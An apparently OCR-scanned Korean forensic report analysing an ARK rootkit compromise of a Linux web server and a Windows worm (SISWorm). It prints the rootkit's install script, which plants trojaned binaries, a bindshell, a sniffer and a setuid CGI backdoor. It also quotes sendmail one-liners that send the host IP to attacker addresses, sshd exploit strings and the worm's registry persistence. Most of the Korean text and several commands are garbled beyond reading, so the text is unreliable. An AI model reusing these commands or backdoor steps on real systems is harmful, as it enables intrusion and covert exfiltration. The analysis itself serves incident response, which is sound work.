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windows\system ZU& o]%53le] SISWormexe ¢} winlogonm.dll 3+ AbAl gk
th(CAWINNT \system32\winsystemm.exe, CA\WINNT\system32\winlogonm.dll)
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- #EA UPX b5l EAWA SISWormeexe:: A4l HAlgd S
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OS : Linux

W9 : WowlLinux 7.3

54 A\ 2 : apache, ssh

FAR A9: G Aol F

1. Al=d AR
AL v zde] guol el shetsts Aol Fastth A4 s AzgelA of
R P R e P

1.1 Jetc &2 A4 19

/etc/hosts ¥l &) Al 2~ 818 www.challenge.net#bi= =v]9l-S AR&&kar glc),
/etc/resolve.conf Yol A n = 192.168.131.25 A}&3Fa1 it}

/etc/fstab el AL /9 /boot swap IFHE]A o & o] A i),
/ete/xinetd.d inetdell ¢J3] & 23k w2 telnetd] =
/ete/sysconfig/network T ~EWL2 www.challenge.net®] th

ﬁ ﬁg ;‘i}f’;f;_“;i%“‘“’tw“"k‘*‘c g A 25l B4 ipE AH3kar 9 th(BOOTPROTO=dhcp)

1.2 A& An) =
718 Al A gl 3ol o runlevel?] AlZ AH] A= oS3 2

isdn, syslog, random, identd, Xinetd, crond, local, unicon, portmap, netfs,
runlevel 3 sshd, sendmail, anacron, kudzu, network, keytable, apmd, rawdevices,
gpm, atd
runlevel 5 runleve3+ rc.local, -identd

hitpdel 7 §-olt= FeAl Qw7 ow, FEAoz Az ok B,



2. W3 A 29 24}

Alzd ARE Edz A Alxage] 7S gEAd da 480 242 2714
HAE S8 EM% AA, iR 3dE Fev E4, s gde] A AR
& ol gste] 21 wtdd AlzgloA] 1 Aol Y FRE ZAME

2.1 setuid 29 3 37

bash-2.05b# find /mnt -perm -04000 -exec 1ls -al {} \:
—I'WSI—XI'—X 1 root root 8092 Jun 8 18:08
/mnt/var/www/cgi-bin/cgiback.cgi

AgtH o7 A|xelato] nlol] wde] A9 /bin, /shin, /usr/bin, /usr/sbin 3}gtol] Q=
d], setuid¥t2 S AMF A3} /var/www/cgi-bin/cgiback.cgi 3Fgtoll o] gk ul2o] ubz x|
Atk o4 A ARARE V)8 Fa o FAHS A3y gi,

2.2 dev g9 =2 sphde] Ank Q) 334

bash-2.05b# find /mnt/dev -type f
/mnt/dev/MAKEDEV
/mnt/dev/ptyxx/_file /mnt/dev/ptyxx/ . proc /mnt/dev/ptyxx/._addr

dev teEe] stdtol= 252 Al2de] B9 dibdow Aqtupdo]l Al EAsHA &=

o 243} sheke] £EAC) shele] AReta A F A HAEe] 4 sk

23 %A% 39 AA
A7 HYol@ AWAR (dop) 0.2 AAHE FEFAL g FEH F 42
shel e vhgt o,

bagh-2. 05b# find /mnt -name ". =" -exec ls -alFQ {} \:

Ho o

-rW-r——r—— 1 root root 38 Jun 8 18:11 "/mnt/dev/ptyxx/.file”

-I'W-r——-r—— 1 root root 32 Jun 8 18:11 "/mnt/dev/ptyxx/.proc”

—-Ir'W-r——r—-— 1 root root 50 Jun 8 18:11 "/mnt/dev/ptyxx/.addr”

1rwxrwxrwx 1 root root 9 Jun 8 18:11 "/mnt/root/_bash_history” -> "/dev/null”
—-rWw-r——r—— 1 root root 302 Jun 8 18:11 "/mnt/usr/lib/librk/rootkit/. snifflogsk”
-rW-r——r—— 1 root root 1 Jun 8 18:08 "/mnt/usr/1ib/. ark?”

M2 AR oey 2o

@© 3E #de G Ay FE d2EY o] nulld F=art At FAAs}
3t Y= o e 5 Aok A ARE FZA AF el gl

@ /mnt/usr/lib/librk/rootkit/t] @ £ 2] @7

@ /mnt/usr/lib/.ark? v} &7

24 2192 FAF
23 AHE T3l AAE, Auj2 AZAAR 5o FagE AFAS ZAFE| oF gk,

2.4.1 /var/log/secure



bhash-2 05b# cat secure

Jun 7 17:22:11 localhost adduserl91061: new aroup: name=iacob. aid=500

Jun 7 17:22:11 localhost adduser[9106]: new user : name=jacob, uid=500, gid=500,
home=/home/diacob. shell=/bin/bash

Jun 7 17:58:00 www useraddl107871: new aroup: name=apache. aid=48

Jun 7 17:58:00 www useraddl1078]: new user:@ name=apache, uid=48, gid=48,
home=/var/www. shell=/bin/false

Jun 8 00:47:03 www xinetdl75871: START: telnet pid=884 from=192 168 131 1

Jun 8 00:48:32 www xinetd[758]: START: telnet pid=967 from=192. 168, 131.1

bash-2. 05b#

91 271014 jacobol 2 A apacherl ol AR AN FART AR H AAA oh]
WA AxY At AT ARAAE 25 gasopac

2.4.2 /var/log/messages

messages ¥ 2 go] Worw gro] ARG oz HAdSe] ARG B

aho] zAbahglt.

ol Al A E 1 A ] messages ZI1U] &
/mnt/var/www/cgi-bin/cgiback.cgi
o2l |Jun 8 18:11 "/mnt/dev/ptyxx/.file”

Jun 8 18:08:40 www Kernel: srload uses obsolete (PF_INET, SOCK_PACKET)
Jun 8 18:08:40 www Kernel: ethO: Promiscuous mode enabled.
Jun 8 18:08:40 www Kernel: device ethO entered promiscuous mode

messages
EIOUHE

ZAHA T srloadehs= Qo] promiscuous RE=E FASHY, 2U¥ AFE ke S g
€l

g 2o AP ARE Z9Rd gii 2oI8Y 004 4973 174 50
b Abolol 2zt s StHelm o] AR FAA e o3 AAld A
ct.

0 Abolel] oF 174
o o]A]ﬁL s gl

17A12 Jun 8 00049040 wwew hittpd: hitpd startup succeeded
= Jun B17E0AT wewew telnetd [2043] ttloop! read: Connection reset by peer

2.4.3 /var/log/maillog

Hd 235 AHHEWA from=, to= F& WY e FROM, TO® ¥ A s, msgidi
2 &6 e] MESSAGE-IDS} ¢ A3}, Fo3k RES HEF relay=%%o2 vdS wul

GARE & 5 9l

Jun 8 18:08:45 www Sendmaill22337: ih8OKR1i61002233: from=root. size=25, class=0,
nrcots=1. msaid=<200406080908. 15898361002233@www. challenge. net>,
relav=root@localhost

Jun 8 18:08:45 www sendmaill22337: i5808161002233:
to=tuiaoitu039t0%9a3@hiafoot com. ctladdr=root (0/0). delav=00:00:00,
xdelav=00:00:00. mailer=relav. pri=30025. relav=www.challenge.net.
[203.251.80.133], dsn=5.1.3, stat=User unknown




F Al =52 f]o] 2I1oA] Holi= 18A] 8% 45F% - 18A] 8% 58F%7FA] ZZ A v ol A
tuiqoitu039t09g3@bigfoot.com, bnadfjg9023@hotmail.com, t391u9t0qit@end-war.com,
mki629690@vahoo.com A&l A #YS ®ual v}, www.challenge.net-& <roll A Abs] &
= s An o] mule]r,

2.4.4 /var/log/wtmp

bash-2 05b# last -f /mnt/var/loa/wtmp

jacob pts/1 192 168 131 1 Tue Jun 8 00:48 aone - no loaout
jacob pts/0 192 168 131 1 Tue Jun 8 00:47 aone — no loaout
reboot  svstem boot 2 4 18-4 Tue Jun 8 00:46 (8+19:56)
jacob pts/0 192 168 131 1 Mon Jun 7 20:19 - down (00:05)
root ttvi Mon Jun 7 20:05 - down  (00:18)
reboot svstem boot 2 4 18-4 Mon Jun 7 20:01 (00:22)
iacob pts/1 192 168 131 136 Mon Jun 7 18:06 — down (01:41)
jacob pte/0 192 168 131 1 Mon Jun 7 17:51 - down (01:57)
root ttvl Mon Jun 7 17:51 - down  (01:57)
reboot svstem boot 2 4 18-4 Mon Jun 7 17:48 (01:59)
jacob pte/0 192 168 131 1 Mon Jun 7 17:22 - down (00:24)
root ttvl Mon Jun 7 17:04 - down  (00:42)
reboot system boot 2.4.18-4 Mon Jun 7 17:03 (00:43)

wtmp begins Mon Jun 7 17:03:21 2004

wtmpZ21 9 A] 8Y 00A] 48%- o] F-9] A& 7|5o] Qs AE ¥A 1 F AAlE Aoz
F7 ¥} jacoboleli= AAH O R F7| 1A = ipoll A &S A0 Mol FAAE HF| A
2lo] YS 53 F jacobolgti= AW GA AFEFE Ao g FaEc
245 7|1
71€} .bash_historyt} utmpZ 1ol A& ¥ E E4& 2] o sy
B3k access_logtt error_log®i Al MohE A4S 3] of#
25 FEZ O xA}
25..1 FEA A4
FEA 9 A4 3L /mnt/ust/lib/librkel] 91X 5 e] 3e g2 2o}
FEz %9 g
install FEZ] Ax 34
Is, ps, netstat o A 3F7] 218k vlojye] #AdE
bindshell vl = 4l Wiz of
cgiback.cgi cgi W&o
hideit w732} 3= ARl Azl
x3, targets ssh 2= Z2913 HAAR
sniffer, .snifflogsk 24y} Ay 23
b 3| Al ~glof] 2 FEZS 7]E2] ARK(Ambient’s Rootkit) FERAS F2 7|53} H

=3 JEHE IL*E]' A FEZIo] MR E =4 mdSsum= %'EH A# B checksumtol

2 J
AAFE & 5 vk AN 2R Pl FEA] AR HASE G



bash-2. 05b# mdSsum //mnt/usr/lib/librk/rootKit/ps /mnt/bin/ps
daf805fa8390ceb58f65ecd5dd6ed13b //mnt/usr/lib/librk/rootkit/ps
daf805fa8390ceb58f65ecd5ddbed13b /mnt/bin/ps

252 FEZ O o]

FEZo] 7|3 sk o] ] AR F7]aAt sk A2 A K (ip address), X
2|

EAQE 5& ol & 9t

bash-2 05b# cat addr

2 192 168 131 136 s/ =7132R 8= ip =4
1 192 168 131 136 /7 =IN AR BH= ip =4
3 2222 /7 =7|132K 8H= port =4

4 2222 // =712 §H= vort =4

bash-2 05b# cat .file // &7|2% st Oty
sniffer

bindshell

rootkit

sniffloask

bash-2 05b# cat bproc s/ =710 G Z2MA A
2 caiback cai // cai BHiE O

2 bshell /7 HIPIE 4 Hicof

2 srload /7 ASLUH

)

D FAAe] Fai 192168131,

@ A4} AgeE LE WEole] Fak 22220,
o]

® Azglo] FAA cgi MECIS HRlE 4 Mo}, AUzt BARS Aol

FEZ &= HULdE 5HS B4 YEe oS 2.
@ install

bash-2.050# more install
#! /hindsh
chown -R root ./«

cp -1 A= /binfls
cp -1 ./ps /hinfps
cp -1 ./netstat /hin/netstat N ES
cp -1 /bindshell /shinbshel
cp -1 ./snifter /shin/srioad
cp -1 ./ogiback cgi Avarfwss/cgi-bind

AlFrAOE
echo "/shin'bshell" »» fetc/re.dfre.sysinit } T:;_H_
echo Yshindsrload" >> fetc/rc.dfrc.sysinit ol ==
chmod u+s fvardwww/cgi-hin/caiback.cgi } Setuid 23
/shin/bshell _ _
/shinfsrioad } ZZ0 ol

@ 1s

stringsE &3l A8k v 2k

/usr/1ih/ ark?

echo “SUBJECT: ‘/sbin/ifconfia ethO ! arep ‘inet addr’ | awk '{print $2} | sed -e
's/ =://7""" | /usr/lib/sendmail tuicoitu039t09a3@biafoot com

echo "SUBJECT: ‘/sbin/ifconfia ethO ! arep 'inet addr’ | awk '{print $2}" | sed -e
‘s/ x://7" 7" | susr/lib/sendmail bnadfia9023@hotmail com

echo "SUBJECT: ‘/sbin/ifconfia ethO ! arep 'inet addr’ ! awk '{print $2} " | sed -e
's/ =://7""" | /usr/lib/sendmail t391u9tOait@end-war com

echo "SUBJECT: ‘/shin/ifconfia ethO ! arep "inet addr’ | awK '{print $2}" | sed -e
‘s/.x://""" | susr/lib/sendmail mKi629690@yahoo. com




=> Jusr/lib/ark?e] 9low, WENZ HRES sendmail o] §3te] of el wal Age.
2 a3 ek 243004 AURgQ WAz FAsh A e,

%s (%s) %s
/dev/ptyxx/.file capi20.20 .ark? ptyxx //DIRED//

=> fileg o] &3t w7]aizt st 3dS BEE A7Iv] $dW 53 gL Eo] Bl

@ ps

stringsE &3 A st ohga 2

/usr/1ib/. ark?

echo "SUBJECT: '/sbin/ifconfig ethQO | grep '"inet addr’ | awK '{print $2} | sed -e
‘s/.x://" " 1 susr/lib/gendmail tuigoitu039t09g3@bigfoot. com

/dev/ptyxx/. proc

=>1s ¢ vEAMAZ EYA AH(ipE LS F3 AFsa, procdLds o]&ste] =Z
2A2~ ARE 75 9k

@ netstat
stringsE &3 A st ohga 2

‘dev/ptyxx/. addr socket: [ [00001]: /proc /proc/%s/fd cmdline

=>.addritd & o] &3] MESA ARE F7]a vk

/usr/1ib/ . ark?
echo "SUBJECT: '/sbin/ifconfig ethQO | grep '"inet addr’ | awK '{print $2} | sed -e
"s/.x://" " | susr/lib/sendmail tuigoitu039t09g3@bigfoot.com

ICMP output histogram:
ICMP input histogram:

=>1s ¢} vpR7HA 2 JEY A AR(p)E WMLS F3l dFsta Arh

® cgiback.cgi
o] A A ] cgi-bin TP EE dlete] $X]8H= cgibackoorZ 7]Eel o|n] & A Q)

= WMol Fo] shto|r) BEE == vhgolA 3 4 A
http://packetstorm.securify.com/UNIX/penetration/rootkits/cgiback.tgz
® x3

= A x28 Bl ssho] thEolFoleka & 4 v

strings= 3 2439 oS3 2

h/sh
h/bin
echo; echo "=x*=xxx YOU ARE IN =*xxxx’; echo ; hostname ; uname -a; id

=> AYAoR FEE I5 ¥ FYse ==



Findina exact h - stack buf distance
trvina: 0x%081x slider: Ox%04x#
Final stack dist: Oxz081x
Usace: sshd-exploit —-t# <options> host [port]
Options:
-t num (mandatorv) defines taraet. use 0 for target list
-X strina sKips certain staaces
SSHD deattack exploit. By Dvorak with Code from teso (http://www.team-teso.net)

= A% 42 usage7} ek Tk o] o2 F R olo] ssh o] §3 o] Fzlolehiz A % 5 Qo
H, 817 159 tesoF 9 ol Aol FT A4 @ Aok E A @k,

2.6 MAC etloll <2AF 4]

MAC B9} 24 15| ~t, -u, -c §40 23 24o] 7hssth FEA S| MAC B & ¥
A &) B o

//REZIQ ek=0l E21 AlZE

Arwxr-xr-x 20 root 4096 Jun 8 18:11 rootkit

//YME ZIE EAIZE
bash-2 05b# 1s -alu /mnt/var/www/cgi-bin/

total 16
Arwxr—-xr-x 20 root 4096 Jun 8 00:52
~I'WSI—XI—x 10 root 8092 Jun 8 18:08 cgiback.cgi
AgAow Hy
FEZlo] Ax® A7H Jun 8 1811
Wso] HF A A Jun 8 1808, Jun 8 18:17
AA FEAS hFol Fel MAW Azke 69 8Y 184 11EAH, HXH 5ol ¥xo]
HL Alzke] 18A] 802 o|dolng FEZ HA Al 7L 18A] 8 ol FEIS
ool Mx@ Aoz FAHWT o]&A HW Azte] g FEZ EAH: ojuls} wol

A gl e},

3. A A} 24

ZA} Aafe] Ao g3l S 7]

3.1 24 (HOW)
FANH L 2A AR e § Aok
A A, apache AW & o] &3 FZo|tt @A ofufx] o] B He] 1.323-11o|" o] B el I
oF ol ofgh FAalsto] http//www.cert.org/advisories/CA-2002-23.html © YR}, kreert
ol KA20020740) &= veby ok 32 Alge] Q4= @0l A apachedld ¥5 & e
Ad HFHE ol &8l FE AS 5 I 5 vk

EA, sshe o] &3 remote ¥ 70|t} team-tesool A x3 AZF RS o] &3lo] T A
g4 rootdEHSE 5 ¥ £ dv. FAHAERFS §A¥T £ Advh(
http://www.fatelabs.com/logs/sshd-crc32/attacker.txt)

AR, g A =gl A telnetS AMESIEE AR 2UBE Fal 27 g2 E g5
g 5 Q. 3 Ad HH S ol 8sle] FEHZ FEo] shEsit.

olsh go] M AEE AF ¥ & dovt B4 F 598 vehg =1 gust Qo] AA

ok

:Z‘.'. ) Ji




oAt F7hA W BEE Ageo] root 850] Fhaith WA BNl x38 ALEB
FENS A8H 22 Hol AEA0 x38 o] 88 sshd 4L a3 A Ao B
Ay

3.2 A A ZH(WHEN)
A A FEFo HAE Jun 8 18:08 o|Hoz HF¥r}

33 3 ¥ P (WHAT)

A, A F FARE rootkit A skl xwe £42 2595 Aok wdE FER
e ARK FEZ° wgom woach 4, 219 £40] U 21 FHEL gloln A3
A97 Az gaac. A, FEZC x3 om%m% A3 glom FAe FEeA
RE AAY O I $del GE AelnE FAT A8 BeAG A, 20 B
AY e Aaes FAAch A, MEolE Fil ASAon YT vl
4 MEoll 20 EEE Fo AN, cgEolt WS Bal FAA Ay
3.4 FAA] F4A(WHERE_TO, WHERE_FROM)

FEZlo| w7]aAk 3 ipel 192.168.131.1362. % #Avt¥ v
35 A= (WHO)

FAAE FEAA AL AAY Axde] AuE AMe] Ush: oAz AT

t}. tuiqoitu039t09q3@bigfoot.com, bnadfig9023@hotmail.com, t391u9t0git@end-war.com,
mki629690@yahoo.com®] WY AF=beha =4 3 4 9l

T3 241004 AHE secureZ 1o A A E jacobA A} wwwA AL FAAZE AA G
3 FasE e last 7156 98k jacobe]l FA A o]& AlEw kil sk g
& ik

3.6 ¥4 o+ (WHY)
A olfr= AR FF, FdlolA ME, AFA &8, DDoSe] do]dEE A7) fF o
f oz Aztd & e i A Aol s AS ATS 6= ﬂ‘ﬂt}.

4. A} AL

@ apache AW F k4 A

- A WA Faste] Ay A Azl
http://www.cert.org/advisories/CA-2002-23.html, KA2002074
@ sshd B]4d 912k A

- g AnES FEste] A B Azl
http://www.cert.org/advisories/CA-2001-35.html

@ telnet H|+-2] Z#]
telnet Hl 22 53l ¥ x| o= L2 EFHo|tl ulelA telnetdl S F#] il sshs AFE3}
7] vzl



A 2. A =E(H) 24

b= A% A

[> SISWorm.exe Htolu el & 23stA 9ol 4

> 7+ Al UPX ¢50] #Foj x| v SISWorm.exetr= AH4Alo] E-A4 7128 cA\WINNT\system32\ ¥
of t&3 e winsystemmexe YS AASY vplRTMAE 5632 byte A7 91
cA\WINNT \system32\winlogonm.dll 345 A A3t}

=) == %<

DUE EEE 200 EARM EAD =8 o

Q5= -

5 /f)aM iy =0

Z4(0) ) CHINN T syste

m32

~Bus

0= 37| &8 P [+]
AAE JE =) [#] winipsec, dll KB S8 ZRIM T 2001-08-29 2% .,
=L winlogon 4%BKE S2 Z=2JH 2002-08-30 2F
@ 2;; l;iHij‘T:fjHlli‘li 4| winlaganrm, dil kB S= 4
W ==-—== [ winsysternm 16KE S8 Zz2IH
PR %] wintrust, di 6 =& =& 8 o
[P winver 4B S8 =2 20010829 2= .,
ey m TR [ wrzra, IME 147K IME I 2001-08-23 2=
= =SsHSETE &) WINZM, MB 1,195KB  MB Th 2000-01-10 2% .,
e D:|j|u-|| M EOos Ll wiview 16BKE £8 Z23Y 002-07-23 28
2] wkssve,dll NKE &8 Z2IY =& 2003-10-22 28 ..
=] EH Al HA %] widap32.di KB S8 ZRIM =T 002-08-30 98 .
k2 208 [v] [ winotiy.di BKE S8 ZEIM IE  00-08-M02F .. [v]
2B57 HH [+ 22 M: 9 463MB o L 2EH
[> winsystemm.exe < #A~Eg o F5sle] Al4E wjuirh Heu] A ¥

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\winsystemm.exe

o dlXl A=z MED| [==0<|
DHRIE) BEEEr =21 SARI(A) Zo=H
=3 Current¥ersion [« || o= ==
{3 AdminDebug [aB) =20 REG_5Z
3 App Manage [3B) CMESys REG_SZ
03 #pp Paths [B] IMEKRMIGE. 1 REG_SZ
1 #Mpplets 28] IMJPMIGSE. 1 REG_SZ
1 BITS . -
1 Soraral Pans [2B] ME R 2002 REG_SZ
£ Controls Pole [aB] PHIME 20024, REG_S7
0 CECSetings [aB] PHIME 200245y nc REG_SZ
3 DateTime [ab] S3Hotkey REG_SZ
3 Dynaric Din [aB] Swnchronization hManager REG_SZ
1 Explarer [ab] winsysternm, exe REG_ 52 |
L1 Extensions
L ExtShellView
{2 Fonts
{3 Group F'Dliv:g,[z]
[ H3z3TsP 3
£ Hints
2 IME
1 Installer
1 Internet Setti
3 IntlRun
3 IntlRun, OC
0 IPConfTSP [y
<1 I N == | 3 ] | 2]
LH 2! = E{WHKEY_LOCAL _MACHINEWSOF TWAREWMicros oftftiind owsWCurre ntyersion WHun
A1 &0 = Fod T = = o] 3 I S=
D A8d el H71d MESA By
C:sDocuments and Settings“Administrator»netstat —na
Active Connections
Proto Local Address Foreign Address State
TCP 211,58,188,250:139 0,0,0,0:0 LISTEMIMG
TCP 211,52,188,250: 1038 207,456,107, 7411863 ESTAELISHED



>

= & 3 ] & —= o] = A
A o] BFo HESA By
— al 7 &l 3 8 = i E N & q A A 2l % 2= olrl)
0]"”“ -I—‘T} ]’ 1= O] 445 :‘1_50” ” ‘_1. ?i \so] c!tf_l 1 T /\z\L’I
C:rDocuments and SettingshAdministrator:netstat
Active Connections
Proto  Local Address Foreign Address State
TCP 211,582,182 ,250:1329 0,0,0,0:0 LISTEMING
TCP 211.,58,188,250:d445 211.58,188,36 4366 ESTRELISHED
TCP 211,52,188,250: 1036 207,46 ,107 7411863 ESTAELISHED
TCP 211,58,188,250:13R2 211,241,582 ,124 :d45 SYH_SEMT
NE© PR
ES s
- HeELg gllvwl o A5 N& o A
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File Edit Wview Go Capture Analyze Statistics Help
o Pl
BEEx @8 € 00 F Q@ N X
Wyeer | | % Evpression. | Sesiear| «f anpy]|
Mo |T|me |Snur|:e, ‘Destmatwnn ‘3FDIDED| |InfD |3
ToTTm T TS TEE ST TSI I e MBS SO T T o messay
1719 9.880627  211.58.188.250 211.58.167.253 TCP microsoft—ds » 2181 [SvN, ACK] Seq=0 Ack=1 Win=65535 Lt
1224 5.896506 211.58.1E8.250 211.58.167.253 TCP microsoft-ds > 2181 [FIN, ACK] Seq=1 Ack=2 Win=65535 Lt
1736 9.896599  711.58.188.250 211.58.167.253 TCR microsoft—ds » 3184 [svN, ACk] Seq=0 Ack=1 win=65535 Lt
ag 5.5J80585 TT.55.18%5.250 TT.55.167 .25 e Fegotiate Protocol Response
1236 §.943171  211.58.188.250 211.58.167.253 SME Session Setup AndX Response, NTLMSSP_CHALLENGE, |Error:
1243 9.996524 211.55.188.250 211.58.167.253 SME Session Setup Andx Response
1247 10.015713 211.58.188.250 211.58.167.253 SME Tree Connect AndxX Response
1253 10 043530 115 | LN] 115 16 C ME AWT _Cr bt fata) B fatatat EIls Oed000
1255 10.059870 211.58.188.250 211.58.167.253 DCERPC Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4.
1266 10.106649 211.58.188.250 211.58.167.253 TCP microsoft—ds » 2184 [ACK] Sec=877 Ack=3810 Win-65535 Lt
1270 10.130931 211.58.1B88.250 211.58.167.253 DCERPC Fault: call_id: 1 ctx_id: 0 status: nca_op_rng_error
1308 10.423556 211.58.188.250 211.58.167.253 TCP 44445 > 2203 [RST, ACK] Seq=0 Ack=0 win=0 Len=0
1371 10.973372 211.58.1E8.250 211.58.167.253 TCP 44445 » 2203 [RST, ACK] Seq=0 Ack=1l Win=0 Len=0
1378 11.028893 211.58.188.250 211.241.582.124 TCR 1418 » microsoft-ds [SvN] Seg=0 Ack=0 win=357130 Len=0

>

. 4145258 L 5B, .58.167. 44445 » 2203 [RST ACK] Se

Frame 1093 (60 bytes cn wire, 60 bhytes captured)

Ethernet II, Src: 00:08:e22:31:c8:8c, Dst: 00:00:f0:67:66:05

Internet Protocel, sSrc Addr: 211.58.189.117 (211.58.189.117), Dst Addr: 211.58.188.250 (211.58.183.250)
Transmission Control Protocel, Src Port: 3978 (3978), Dst Port: microsoft-ds {445), Seq: 0, Ack: 1, Len: 0

v v v v

0000 00 00 fO &7 66 05 00 03 eZ J1 <3 B< 08 00 45 00
0010 00 28 3b 3c 40 00 7d 06 al ae d3 3a bd 75 d3 3a
0020 bc fa Of 8a 01 bd 90 2e e7 b5 cc 8b 40 d3 50 10
0030 42 3d b5 <7 00 00 00 OO0 00 OO0 OO0 OO0
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ot s= oA

SISWorm< thA af= Wb th3-3f 2t

WA ZrAAE FEA Ak 2] #EAE A B (Cul+Alt+Del)ste] SISWorm.exe Z

2 A 2=} winsystemme FEA]7|H E}

T2A2E TR dF AR gHoE AAES vk msconfig BEAE 8 AFEZE
5o A A A ALY, HKLM Software\Microsoft\Windows\CurrentVersion\Run\winsystemm.exe S 2
t} oAt o2 windows\system ZU 2 o] F3lo] SISWorm.exe ¢} winlogonm.dll
2FA) gkl (CAWINNT \system32\winsystemm.exe, C\WINNT\system32\winlogonm.dll)

SRERSE R

A

&}
.
il ol &
S

sl o« ; Y= oA EZZ oAl SIS 2 Dis gl Q1B E
obefl s “OllyDbg ehiz tln 2o A SISWorm.exe Disassemble ¥ 94
o] o},
Flg] o L= . _ .
FHl =5+ (htip://home.t-online.de/home/Ollydbg/)
2] o] 1 ] ]_ ].—] n 9\13-.; =N ].cxl H oA '] o= ] 0_-r|_ 7k ] L—-].m ] =2 a}\-o =
D T %‘_‘}Ij’ A AL LR L an ‘ral Eé-f‘_ ‘:_ul' {—;O = 2 }10 22‘7_ H\HE _—
sl oo oF 2= g}
LRSS 2t & Qlt
Addre==s | He= dump Dicassemb ly Comment [
gF - EE . PUSH EDI
: Eg ECS4 488 ggg ESI SISWorm. @a4AS4sEC ASCII "AEBCDEFGHI JELMHOFQRS T
: SD70 E4 LEAR EDI,.DWORD FTR SS:[EEF—1C1]
FZ: RS REP NUUS DwWwoRD PTRE _ES: [EDL],DWORD PTR O
8 e HDUS EYTE FPTR ES:[CEDI],EBYTE FTR DS:[CESI
; : Eg Sasd4 408 ggg ESI SISWorm. Aa4AS456 ASCII "abcdefgh ijk lmnopgrstuugs
o : SD70 C= LER EDI,.DWORD FTR SS:[EEF—Z=
I'd « FEZ:HRS EREP NUUS DworRD PTR _ES: CEDILI], DL\JURD FPTR
=l - FF7S = FUSH DWORD FTR SS5: [CEEBF+=1
- 2045 E4 LEAR ERH.DOWORD PTR _SS: LEEBP—
E - ES HDES B\"TE FTR ES:CEDI], B\"TE PTR Ds:=CESI
é : Eg SFE0OEaE6 CQLL SISUJOI"M aadAd4ESS
ol BE] EBF Ech
t=] - SE FOFP_EDI
=9 - =SECa TEST ERX,ERAX
{=] - FOFP _ESI
C e JE SHORT SISWorm. 9ad4/Ad4RES
E - 8D4D E4 LEHR ECH.DWORD FPTR SS: LEBP—1C] [:
1 - BEA 1= FUSH 1= =
o=z -« =2BC1 SUE EHRHXE.ECH
= . = FOF ECX
[(]=) - 232C8 ac HDD ER:H,.QC
=l . 9 cDe
m] 2] « ETYE2 IOV ELC;
75 - 334415 E4 HDU FlL BVTE FTR S<:[EEBF+EDX—1C1
Eill . €3
Ez2 * FETVYS g2 PUSH DWORD PTR_SS: CEBRP+21
HES . =0h4S C= LEA ERX,DOWORD FTR SS: [EEF—=S1] [v

7} rspme ofeler @& Aol ubeh wjgso] Yk,

A BCDEVFGHTI]JKILMNOPQRSTUYV

W

X

3

M NOPQRSTUVWX AB CDETFGHTI J

K

L

abcdefghijklmnopgrstuvwx

3

mnopgrstuvwxabcdefghijkl




> A xEee) H e}

Adud; Hex dump Disassembly Comment ~
[EEE 1lr% 55 FPUSH EEP

5 2 BEC HOU EBP,ESF

4 4 1EC A4008808| SUE ESF, 8R4

5 A 5 USH ESI

& B 7 USH EDI

4 4 D85 SCFEFFFF(LEA EAH, OWORD PTR S5: [EBP-R41

5 % 3 DEZ34A08 LISH SIEUJOI‘M.BB4R33DB ASCI1 "Borhknfg~Auof cgorh Kubpckg~0iffabhJaf gucb Fib™

L
ES EBE4BE6E CALL S1SWorm. @E4A4BE0

inhal: shafnfak ik ahiahahagaka ;]
o

4 2] .
z0|| . 2D45 DC LERA EAX,OWORD PTR SS:[EBP-241
. gg Coz24ReE gUgH S1SWorm, BE4A23CH RSCI1 "kubgwghgaa.qlg”
. E8 [ C:!LL SISh.lorm BE4A4EE0
. ggi ?SIB‘H:!BE I;I ES NURD PTR DS:[{&ADVAPIZ2.ReglpenkeyERA»]| ADVAPIZZ. ReglpenkewExA
4| - 8045 FC _-F! EF!X DNDRD PTR SS:[EEP-41
. EF JU EDI.ZBB
A Cl| - &8 pHand Le
A4e40(| .« 57 USH EDI Access =» KEY_WRITE
E[| - 5035 SCFFFFFF|LEA ERX,OWORD FTR S5:[EEF-R41
A 4[] - &R @& Reserued = B
A . &8 USH EAX ubk ey
. 63 LSH hKey = HKEY_LOCAL_MACHINE
HA4E5C L . FFOGS ALL ESI RealpenkeyExA
A4ECE(] . 2ECE EST ERX,EAX
7 13 SHORT SISWorm. 884R467E
4 62 28045 FC EF!X DOWORD PTR S5:[EBP-41
4 &5 e JS pHandle

Acocess => KEY_WRITE

7
D35 SCFFFFFF _EF! EF!X.DL\IDRD FTR 55: [EBP-A41
H e LUSH 8

A .

A .

A .

A .

A ol Reserved = 8

A Fll - 58 LSH EAX Subkey

AR4e7E | . 62 D1PEEEIE USH SBBBBBBI hkey = HKEY_CURREMT_USER

4H4E75 | . FFDE CAL RegbpenkeyExA

4A4EFT (| - T_ST EQX

4R4673(] 75 20 JHE SHORT SISb.lorm BE4A4EAS

4R4E7E|| > SB45 BS MOY EAX,DWORD FTR S5:CEBP+3]

4R4EFE(| . 8DB@ 1@@1@E86| LEA EST, OWORD PTR DS:CEAX+11@]

A . L [String

A . EEIS 40184R68 EI:ﬁLL OWORD FTR DS: [<&KERMELSZ. lstrlenA>] l=trlenR

A . B8 PUSH ERi BufSize I
Ol . 58 PUSH EST Buffer [

el A As gl JANA thE 22 #E IS F Urh
Gerhkmfg\Auofcgerh\Kubpckg\QiffgbhJqfgucb\Fib=> Software\Microsoft\Windows\CurrentVersion\Run
kubgyghqaa.qlq = winsystemm.exe

> Mail 441
GET / HTTP/1.1 Host: consult.skinfosec.co.kr 23S w it}

Address |Hex dump Disassembly Comment
4R4ESE|] . BE FUSH_EST
4p4eSC|) . 2025 FAGFDFFFF| LEA EAX, DWORD FTR SS LEEF-21@a]
4A4EAZ | « &2 DEIF4A608 F'USH SIEWorm. BE4AZF ASCII "SGH ~ THHO-1.1MEATcgh: ocbginh.gwubroggo. oc. WwFJEME™
4H4EHT|] . 58 PL: ERX
4H4ERS|] « ES SBFCFFFF CF!LL S1SWorm. B84R4EE0
d4p4ERnDl) . B2 FOF ECH
4R4ERE|] . B2 FOP ECH
4Bp4enF |l . ER FF PUSH -1 FPriority = THREAD _PRIORITY_BELOW_MORMAL
42:52; . FF15 Zel@4p@a| CALL DWORD PTR DS: [<&%KERMEL3Z.GetCurrentThread:] [E?ﬁtCurrentThread
4 a rea
4R4EEZ|| . FFL1E 24164A66 CALL DWORD PTR DS:[<&KERMELZZ.SetThreadPrioritux]LlSetThreadPriority
4R4EEE|| . 2BFE @2 MoU_ESI, DUJDRD FTR SS:[EBF+2]
4p4aeCl|) . BEFE TEET ESI EEZ
4A4ECZ|] ~74 52 dE SHORT SISb.lorn BA4R4F17
